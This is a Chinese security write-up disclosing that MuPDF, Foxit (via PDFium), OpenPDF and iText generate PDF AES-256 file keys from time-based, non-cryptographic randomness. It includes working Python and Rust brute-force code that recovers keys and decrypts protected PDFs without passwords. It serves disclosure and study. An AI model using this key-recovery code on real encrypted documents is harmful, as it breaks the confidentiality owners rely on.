PDF 的 AES-256 密钥里只有 9 个随机比特
MuPDF 用 drand48 生成 PDF 的 AES-256 文件密钥,时间戳里只有 9 个比特能影响结果;Foxit 把时间戳和 32 个未初始化字节一起哈希。V12 写的解密器毫秒级遍历密钥,两个密码都不用填。
中文
复制

我们发现,若干 PDF 实现生成的 AES-256 文件密钥所来自的状态空间小到可以穷举。在 MuPDF 中,只有 9 位随机状态会影响实际的 AES-256 密钥。Foxit 等其他 PDF 编辑器则基于与时间相关的随机性生成 AES-256 密钥,因此同样会得到极易恢复的密钥。
引言
PDF 加密用于保护 PDF 文档中的字符串和数据流,元数据也在保护范围内,除非明确将其留作不加密。多年来,密码保护机制经历了多次修订,从 RC4 转向 AES,并不断加固密码哈希以抵御暴力破解。当前版本 revision 6 使用 AES-256。
用 AES-256 加密 PDF 时,密码并不直接加密文档。实现会生成一个随机的 32 字节文件密钥,由它来加密内容。随后,密码与盐一起经过哈希,派生出一个单独的密钥,再由这个密钥加密那个随机的 32 字节文件密钥。revision 6 让这一哈希过程刻意变慢;更早的 AES-256 revision 5 则没有这样做。
一个 PDF 可以同时设有用于查看的用户密码和用于修改权限的属主密码。两者解锁的是同一个文件密钥,因此这些限制完全取决于阅读器:拿到查看密码,你同样可以制作一份不受限制的副本。
我们发现,这种随机性往往生成得极不安全,使得受保护的 PDF 可以在不知道密码的情况下被解密。
MuPDF
1.28.5 之前的 MuPDF 版本用 drand48 系列 的实现来生成随机数。这个生成器只播种一次,种子是当前的 epoch 秒数:
static void fz_init_random_context(fz_context *ctx)
{
/* ... */
fz_srand48(ctx, (uint32_t)time(NULL));
}
这是一个 48 位的线性同余生成器:
fz_srand48() 把状态写成三个 16 位字。低位字是常量 0x330e,32 位时间戳占据状态的第 16 到 47 位:
void fz_srand48(fz_context *ctx, int32_t seed)
{
uint16_t p[3] = { 0x330e, seed, seed>>16 };
fz_seed48(ctx, p);
}
MuPDF 在需要生成密钥时调用 fz_memrnd(),该函数反复取一个随机数,将随机数生成器向前推进一步,然后取该随机数的最低字节作为随机字节。
int32_t fz_nrand48(fz_context *ctx, uint16_t s[3])
{
return fz_rand48_step(s, ctx->seed48+3) >> 17;
}
/* in fz_memrnd() */
while (len-- > 0)
*data++ = (unsigned char)fz_lrand48(ctx);
移位会丢掉状态的第 0 到 16 位,转换成 unsigned char 又会丢掉第 24 位以上的所有内容。因此,每个输出字节都来自 LCG 状态的第 17 到 24 位。
问题在于,状态的高位永远不会影响低位。乘法和加法可以把位向上进位,却不能向下进位。既然每个输出字节都来自第 17 到 24 位,那么第 24 位以上的内容都可以忽略,即使将生成器向前推进之后也是如此。
这样一来,能影响输出的只有 25 位。最低的 16 位总是被初始化为 0x330e,所以时间戳中只有 9 位起作用。相差 512 秒的时间戳会产生完全相同的字节流。
可能的密钥空间这么小,直接暴力破解即可:生成所有可能的 32 字节密钥,逐个尝试解密:
def stream(seed, count):
state = (seed << 16) | 0x330e
out = bytearray()
for _ in range(count):
state = (0x5deece66d * state + 0xb) & ((1 << 48) - 1)
out.append((state >> 17) & 0xff)
return bytes(out)
candidates = [stream(seed, 64)[32:64] for seed in range(512)]
MuPDF 用同一个生成器生成文档 /ID,它以明文形式存放在 trailer 中。写新文档时,它会先从同一个 LCG 取 32 字节,紧接着再采样解密密钥,因此可以用 /ID 作为额外的校验。
在一份完全没有优化的纯暴力 Python 实现中,搜索全部 512 条流大约需要 11 毫秒。在一个测试文档上:
time(NULL) mod 512 = 80
/ID[0] = 7628523958da31d6c21c90e39344b28e
/ID[1] = 8be910bddaa1f1a542e5a27ceb115346
key = c3888ecc8ff554ac93acd689da2ecd6223cb760168622e8a0c44a533a037c212
这个密钥无需任何密码即可解密文档。
Foxit
Foxit PDF Reader 2026.1.3.36551 将文件密钥派生为当前时间戳、32 个未初始化字节和一个常量的哈希。实际上,这些未初始化字节都是零,不带来任何随机性。
SHA-256(uint32_le(time(NULL)) || <32 uninitialized bytes> || "there")
等价的 Python 代码片段:
from hashlib import sha256
key = sha256(timestamp.to_bytes(4, "little") + bytes(32) + b"there").digest()
/Perms 权限块中含有已知明文,因此候选校验只需一次哈希和一次 AES 块解密,既不用做密码哈希,也不用解密文档:
let mut material = [0u8; 41];
material[..4].copy_from_slice(×tamp.to_le_bytes());
material[36..].copy_from_slice(b"there");
let key: [u8; 32] = Sha256::digest(material).into();
let cipher = Aes256::new(&key.into());
let mut plain = Block::<Aes256>::from(self.perms);
cipher.decrypt_block(&mut plain);
// Check for some known magic values to indicate successful decryption
(plain[..4] == self.permissions
&& plain[4..8] == [0xff; 4]
&& plain[8] == self.metadata
&& plain[9..12] == *b"adb")
.then_some(key)
我们的 Rust 实现从当前时间开始,逐个向前搜索时间戳,并用 Rayon 做多线程。在 32 线程的 Ryzen 9 7950X 上,每秒能稳定测试 3.7 亿到 3.76 亿个时间戳:
| 目标时间戳 | 测试的候选数 | 搜索耗时 |
|---|---|---|
| 十年前 | 315,573,571 | 0.84 秒 |
| Unix 纪元 | 1,792,610,110 | 4.85 秒 |
第二行覆盖了从 1970 年至今的所有时间戳。实际遇到一份生成时间较近的文档时,耗时在毫秒量级。
timestamp = 1787583328
key = 41474b490265500f9727f21f1dde34be31bcdfc3830e2dc027daabe5b5984081
/Perms = fcfbffffffffffff54616462f67f0000 (decrypted)
这个密钥派生方式从哪来
这一模式出现在好几款 PDF 编辑软件里,我们很好奇它的出处。PDFium 2014 年 5 月的首个公开提交中就已经有了这段代码。文件头注明原始代码来自 Foxit,所以它应该源自 Foxit。其他编辑器可能是通过 PDFium 拿到的:
if (m_Revision >= 5) {
int t = (int)time(NULL);
uint8_t sha[128];
CRYPT_SHA256Start(sha);
CRYPT_SHA256Update(sha, (uint8_t*)&t, sizeof t);
CRYPT_SHA256Update(sha, m_EncryptKey, 32);
CRYPT_SHA256Update(sha, (uint8_t*)"there", 5);
CRYPT_SHA256Finish(sha, m_EncryptKey);
/* ... */
中间那个 32 字节的值是 m_EncryptKey,也就是密钥缓冲区未初始化的内容被哈希进自身。假设这些字节被填零,这就与 Foxit 至今仍在使用的密钥派生方式完全一致。
OpenPDF 和 iText
OpenPDF 3.0.5 和 iText 9.7.1 都把密码学随机数交给一个 IVGenerator 类,它是一条 ARC4 流,种子是毫秒级时间戳和 JVM 的空闲内存:
arcfour = new ARCFOUREncryption();
long time = System.currentTimeMillis();
long mem = Runtime.getRuntime().freeMemory();
String s = time + "+" + mem;
arcfour.prepareARCFOURKey(s.getBytes());
同一条流既生成文件密钥,也生成 32 字节的盐,这些盐以明文存放在 /U 和 /O 中。我们可以拿时间戳和空闲内存的猜测值去比对盐,再从相邻字节中恢复密钥。
这里的波动比 MuPDF 和 Foxit 的例子大得多,但同样说明:所谓 256 位安全性,被不安全的随机数来源和比宣传更小的状态空间打了折扣。
结论
上述每一种实现,文件密钥都来自非密码学安全的随机源。本意是比旧的、由用户密码派生的文件密钥更安全,实际效果却是密钥更弱。这些问题已通报给厂商,MuPDF 的问题也已修复。但已经公开流传的副本无法事后补救,所以这些漏洞可能仍有影响。
我们发布了 MuPDF 和 Foxit 的解密工具。